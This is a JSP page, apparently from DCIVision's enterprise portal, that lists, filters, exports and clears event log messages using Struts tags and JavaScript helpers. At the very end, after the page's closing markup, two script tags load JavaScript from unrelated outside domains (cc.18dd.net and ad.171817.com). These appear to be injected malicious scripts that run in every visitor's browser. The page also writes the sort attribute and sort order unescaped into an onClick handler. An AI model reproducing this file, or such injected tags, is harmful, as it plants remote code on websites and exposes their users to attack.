<%
/*
 * @(#)ListEventMessge.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListEventMessge.jsp

  This is a ListEventMessge page.  It shows the OnlineUser in EIP.

    @author             Anson mo
    @company            DCIVision Ltd
    @creation date      06/09/200
    @version            $Revision: 1.9.26.9 $
*/

%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.util.ArrayList"%>
<%@ page import="java.util.List"%>
<%@ page import="java.util.Locale"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="applicationContainer" scope="application" class="com.dcivision.framework.ApplicationContainer"/>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listEventMessageForm" scope="request" class="com.dcivision.framework.web.ListEventMessageForm"/>
<%
  /****************************************************************************
   * List Attributes Configuration Begin
   ****************************************************************************/
  String      LIST_NAME = "eventMessageList";

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"log.columnheader.event_type","B.EVENT_TYPE"},
                            {"log.columnheader.event_date","A.UPDATE_DATE"},
                            {"log.columnheader.event_time","A.UPDATE_DATE"},
                            {"log.columnheader.event_source","B.MESSAGE_CODE"},
                            {"log.columnheader.event_message","A.MESSAGE"},
                            {"log.columnheader.event_error_code","B.MESSAGE_CODE"},
                            {"log.columnheader.event_action_taker","A.ACTION_TAKER_ID"},
                            {"log.columnheader.event_server","A.SERVER_NAME"}
                          };

    String pageFlag = "ListEventMessge";
  int     COLUMN_OFFSET = 1;
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/
%>

<script lanugae="javaScript">
<!--
<%if ("true".equals(listEventMessageForm.getIsExport())
) {%>
function INIT() {
  window.document.listEventMessageForm.isExport.value="false";
  window.location.href = "<%= request.getContextPath() %>/jsp/dms/FileDownloadSearchResultExcel.jsp?ext=.xls";
}
<% } %>

function OpCustList(frm, sortValue, sortOrder) {
  document.listEventMessageForm.periodType.value='';
  if(document.listEventMessageForm.accessDateFrom.value != "" && document.listEventMessageForm.accessDateTo.value != "")  {
    if (compareDateValue(document.listEventMessageForm.accessDateFrom.value,document.listEventMessageForm.accessDateTo.value,true) > -1){
      alert("<bean:message key='dms.message.end_date_earlier_than_start_time'/>");
      return (false);
    }
  }
  OpList(frm, sortValue, sortOrder);
}

function OpCustListReset(frm){
//  document.listEventMessageForm.accessDateFrom.value='';
//  document.listEventMessageForm.accessDateTo.value='';
  document.listEventMessageForm.periodType.value='month';
  document.listEventMessageForm.userRecordID.value='';
  OpListReset(frm);
}

function OpSearchByPeriodType(period){
    document.listEventMessageForm.periodType.value=period;
    document.listEventMessageForm.submit();
    return false;
}

function opClearSearchResult(){
  if (!confirm("<bean:message key='common.message.confirm_clear_search_result'/>")){
    return false;
  }
  if (confirm("<bean:message key='common.message.confirm_export'/>")){
    document.listEventMessageForm.isExport.value="true";
  } else{
    document.listEventMessageForm.isExport.value="false";
  }
  document.listEventMessageForm.opMode.value="clear search result";
  document.listEventMessageForm.submit();
  return false;
}

function opClearAll(){
  if (!confirm("<bean:message key='common.message.confirm_clear_all'/>")){
    return false;
  }
  if (confirm("<bean:message key='common.message.confirm_export'/>")){
    document.listEventMessageForm.isExport.value="true";
  } else{
    document.listEventMessageForm.isExport.value="false";
  }
  document.listEventMessageForm.opMode.value="clearAll";
  document.listEventMessageForm.submit();
  return false;
}

function compareDateValue(dateObj1, dateObj2, ignoreTime) {
  dateFormat = '<%=SystemParameterFactory.getSystemParameter(SystemParameterConstant.DB_DATETIME_FORMAT)%>';
  yearStart = dateFormat.indexOf("y");
  yearEnd = dateFormat.lastIndexOf("y");
  monthStart = dateFormat.indexOf("M");
  monthEnd = dateFormat.lastIndexOf("M");
  dayStart = dateFormat.indexOf("d");
  dayEnd = dateFormat.lastIndexOf("d");
  hourStart = dateFormat.indexOf("H");
  hourEnd = dateFormat.lastIndexOf("H");
  minStart = dateFormat.indexOf("m");
  minEnd = dateFormat.lastIndexOf("m");
  secStart = dateFormat.indexOf("s");
  secEnd = dateFormat.lastIndexOf("s");

  if (yearStart==-1 || yearEnd==-1 || monthStart==-1 || monthEnd==-1 || dayStart==-1 || dayEnd==-1
      || hourStart==-1 || hourEnd==-1 || minStart==-1 || minEnd==-1 || secStart==-1 || secEnd==-1) {
    alert("<bean:message key='common.message.invalid_date_format'/>");
  }

  jsDate1 = null;
  if (dateObj1!=null && dateObj1!='') {
    year1 = dateObj1.substring(yearStart, yearEnd+1);
    month1 = dateObj1.substring(monthStart, monthEnd+1);
    day1 = dateObj1.substring(dayStart, dayEnd+1);
    hour1 = dateObj1.substring(hourStart, hourEnd+1);
    min1 = dateObj1.substring(minStart, minEnd+1);
    sec1 = dateObj1.substring(secStart, secEnd+1);
    if (ignoreTime) {
      jsDate1 = new Date(year1, month1-1, day1);
    } else {
      jsDate1 = new Date(year1, month1-1, day1, hour1, min1, sec1);
    }
  }

  jsDate2 = null;
  if (dateObj2!=null && dateObj2!='') {
    year2 = dateObj2.substring(yearStart, yearEnd+1);
    month2 = dateObj2.substring(monthStart, monthEnd+1);
    day2 = dateObj2.substring(dayStart, dayEnd+1);
    hour2 = dateObj2.substring(hourStart, hourEnd+1);
    min2 = dateObj2.substring(minStart, minEnd+1);
    sec2 = dateObj2.substring(secStart, secEnd+1);
    if (ignoreTime) {
      jsDate2 = new Date(year2, month2-1, day2);
    } else {
      jsDate2 = new Date(year2, month2-1, day2, hour2, min2, sec2);
    }
  }
  if (jsDate1==null && jsDate2==null) {
    return 0; //treat as the same
  } else if (jsDate1==null) {
    return 1; //date 2 is later
  } else if (jsDate2==null) {
    return -1; //date 1 is earlier
  } else {
    if (jsDate1-jsDate2>0) {
      return 1; //date1 is later than date2
    } else if (jsDate1-jsDate2<0 || jsDate1-jsDate2==0) {
      return -1; //date1 is earlier than date2
    } else {
      return 0; //they are equals
    }
  }
}
-->
</script>
<%try{%>
<!-- Form Section Begin -->
<html:form action="log/ListEventMessge" method="post">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<html:hidden property="periodType"/>
<html:hidden property="basicSearchField"/>
<html:hidden property="basicSearchKeyword"/>
<html:hidden property="isExport"/>
<html:hidden property="clearAll"/>
<!-- Page Title Section Begin -->
<layout:titleFormat><font class="pageTitle"><layout:pageTitle/></font></layout:titleFormat>
<!-- Page Title Section End -->
<table width="100%" cellpadding="20" cellspacing="0" border="0"><tr><td>


<!-- Search Panel Begin -->
<table cellpadding="2" cellspacing="0" border="0" width="100%" background="<html:img src='LayoutFinderLongBg.gif' pathOnly='true'/>" onkeypress="if (event.keyCode==13) OpCustList(listEventMessageForm, '<bean:write name='listEventMessageForm' property='sortAttribute' replace=''/>', '<bean:write name='listEventMessageForm' property='sortOrder' replace=''/>');">
  <tr width="780">
    <td rowspan="4" width="45" valign="top">&nbsp;&nbsp;<html:img src='IconFinder.gif'/></td><td height='25' width='100' height='20' align='right'>
    <b><bean:message key='common.label.view'/>:&nbsp;</b></td>
    <td colspan='3'> &nbsp; <logic:notEqual name='listEventMessageForm' property='periodType' value='today'><a href="javascript://" onClick="return OpSearchByPeriodType('today');"></logic:notEqual><logic:equal name='listEventMessageForm' property='periodType' value='today'><font class='highlightColor'></logic:equal><bean:message key='common.label.today'/><logic:equal name='listEventMessageForm' property='periodType' value='today'></font></logic:equal><logic:notEqual name='listEventMessageForm' property='periodType' value='today'></a></logic:notEqual>
      &nbsp;|&nbsp; <logic:notEqual name='listEventMessageForm' property='periodType' value='week'><a href="javascript://" onClick="return OpSearchByPeriodType('week');"></logic:notEqual><logic:equal name='listEventMessageForm' property='periodType' value='week'><font class='highlightColor'></logic:equal><bean:message key='common.label.this_week'/><logic:equal name='listEventMessageForm' property='periodType' value='week'></font></logic:equal><logic:notEqual name='listEventMessageForm' property='periodType' value='week'></a></logic:notEqual>
      &nbsp;|&nbsp; <logic:notEqual name='listEventMessageForm' property='periodType' value='month'><a href="javascript://" onClick="return OpSearchByPeriodType('month');"></logic:notEqual><logic:equal name='listEventMessageForm' property='periodType' value='month'><font class='highlightColor'></logic:equal><bean:message key='common.label.this_month'/><logic:equal name='listEventMessageForm' property='periodType' value='month'></font></logic:equal><logic:notEqual name='listEventMessageForm' property='periodType' value='month'></a></logic:notEqual>
      &nbsp;|&nbsp; <logic:notEqual name='listEventMessageForm' property='periodType' value='full'><a href="javascript://" onClick="return OpSearchByPeriodType('full');"></logic:notEqual><logic:equal name='listEventMessageForm' property='periodType' value='full'><font class='highlightColor'></logic:equal><bean:message key='common.label.full_list'/><logic:equal name='listEventMessageForm' property='periodType' value='full'></font></logic:equal><logic:notEqual name='listEventMessageForm' property='periodType' value='full'></a></logic:notEqual>
    </td>
  </tr>
  <tr width="780">
    <td height='25' width='100' align='right'><b><bean:message key='common.label.access_from'/>:&nbsp;</b></td>
    <td colspan='3'> <html:datepicker property='accessDateFrom'/> &nbsp;<b><bean:message key='common.label.access_to'/></b>
      &nbsp;<html:datepicker property='accessDateTo'/> &nbsp;
      <% String actionString = "return(OpCustList(listEventMessageForm, '" + listEventMessageForm.getSortAttribute() + "', '" + listEventMessageForm.getSortOrder() + "'))" ; %>
      <html:standardButton label="common.label.search" onClick='<%=actionString%>'/>
      <html:standardButton label="common.label.reset" onClick="return(OpCustListReset(listEventMessageForm))"/>
    </td>
  </tr>
  <tr width="780">
    <td height='25' align='right'><b><bean:message key='common.columnheader.accessor_name'/>:&nbsp;</b></td>
    <td colspan='3'><html:userpicker property='userRecordID' pageFlag='<%=pageFlag%>'/>
    </td>
  </tr>
</table>
<!-- Search Panel End -->

<!-- Table Heading Begin -->
<table cellpadding="1" cellspacing="0" border="0" width="100%">
  <tr>
    <td align="left"><a href="ListEventCode.do">event code setup</a>
      &nbsp;
    </td>
    <td align="right">
    <html:standardButton label="common.label.refresh" link="ListEventMessge.do"/>
    </td>
  </tr>
</table>
<!-- Table Heading End -->
<!-- Table Showing Record List Begin -->
<table class="mainTable" cellpadding="0" cellspacing="0" border="0" width="100%"><tr><td><table cellpadding="3" cellspacing="1" border="0" width="100%">
  <!-- Table Column Header Begin -->
  <tr>
  <layout:columnHeader form="listEventMessageForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listEventMessageForm.getSortAttribute()%>" sortOrder="<%=listEventMessageForm.getSortOrder()%>" editColumn="false" copyColumn="false"/>
  </tr>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->
  <logic:iterate id="eventLog" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
  <tr id="tr<%=((AbstractBaseObject)eventLog).getID()%>"  onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)eventLog).getID()%>);">
    <td align="center">
      <logic:permission right='D'>
      <input type="checkbox" name="basicSelectedID" value="<bean:write name='eventLog' property='ID'/>" onclick="return(false);">
      <html:img src='IconCheckboxDisable.gif'  align='absmiddle' styleClass='disabledCheckbox'/>
      </logic:permission>
    </td>
    <td align="center">
      <%if(EventLogger.EVENT_TYPE_INFO.equals(((MtmEventMessageLog)eventLog).getEventType())){%>
        <bean:message key='log.label.info'/>
      <%} else if (EventLogger.EVENT_TYPE_WARNING.equals(((MtmEventMessageLog)eventLog).getEventType())){%>
        <bean:message key='log.label.warning'/>
      <%} else if (EventLogger.EVENT_TYPE_ERROE.equals(((MtmEventMessageLog)eventLog).getEventType())){%>
        <bean:message key='log.label.error'/>
      <%}%>
    </td>
    <td nowrap><bean:write name='eventLog' property='date'/></td>
    <td nowrap><bean:write name='eventLog' property='time'/></a></td>
    <td nowrap><bean:write name='eventLog' property='sourceFunctionCode'/></td>
    <td><bean:write name='eventLog' property='message'/></td>
    <td nowrap><bean:write name='eventLog' property='errorCode'/></td>
    <td nowrap><bean:write name='eventLog' property='actionTakerName'/></td>
    <td nowrap><bean:write name='eventLog' property='serverName'/></td>
  </tr>
  </logic:iterate>
  <!-- Record Looping End -->
  <!-- Pager Information Begin -->
  <layout:pager form="listEventMessageForm" name='<%=LIST_NAME%>'>
  <tr class="listContent">
    <td colspan="<%=LABEL_MAP.length+COLUMN_OFFSET%>">
      <table width="100%" cellpadding="0" cellspacing="0" border="0">
        <tr>
          <td width="300" align="left" nowrap>
            <html:permissionButton label="common.label.delete" right="D" onClick="return(OpListDelete(listEventMessageForm))"/>
            &nbsp;&nbsp;
            <html:permissionButton label="common.label.search.clearsearch" right="D" onClick="return(opClearSearchResult())"/>
            &nbsp;&nbsp;
            <html:permissionButton label="common.label.search.clearall" right="D" onClick="return(opClearAll())"/>
          </td>
          <td align="center">
            <layout:pagerInfo/>
          </td>
          <td width="300" align="right">
            <nobr><layout:pagerIndex/></nobr>
          </td>
        </tr>
      </table>
    </td>
  </tr>
  </layout:pager>
  <!-- Pager Information End -->
</table>
</td></tr></table>
<!-- Table Showing Record List End -->
</td></tr></table>
</html:form>
<!-- Form Section End -->
<%} catch(Exception ex){
  LogFactory.getLog(this.getClass()).error(ex, ex);%>
<%}%>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>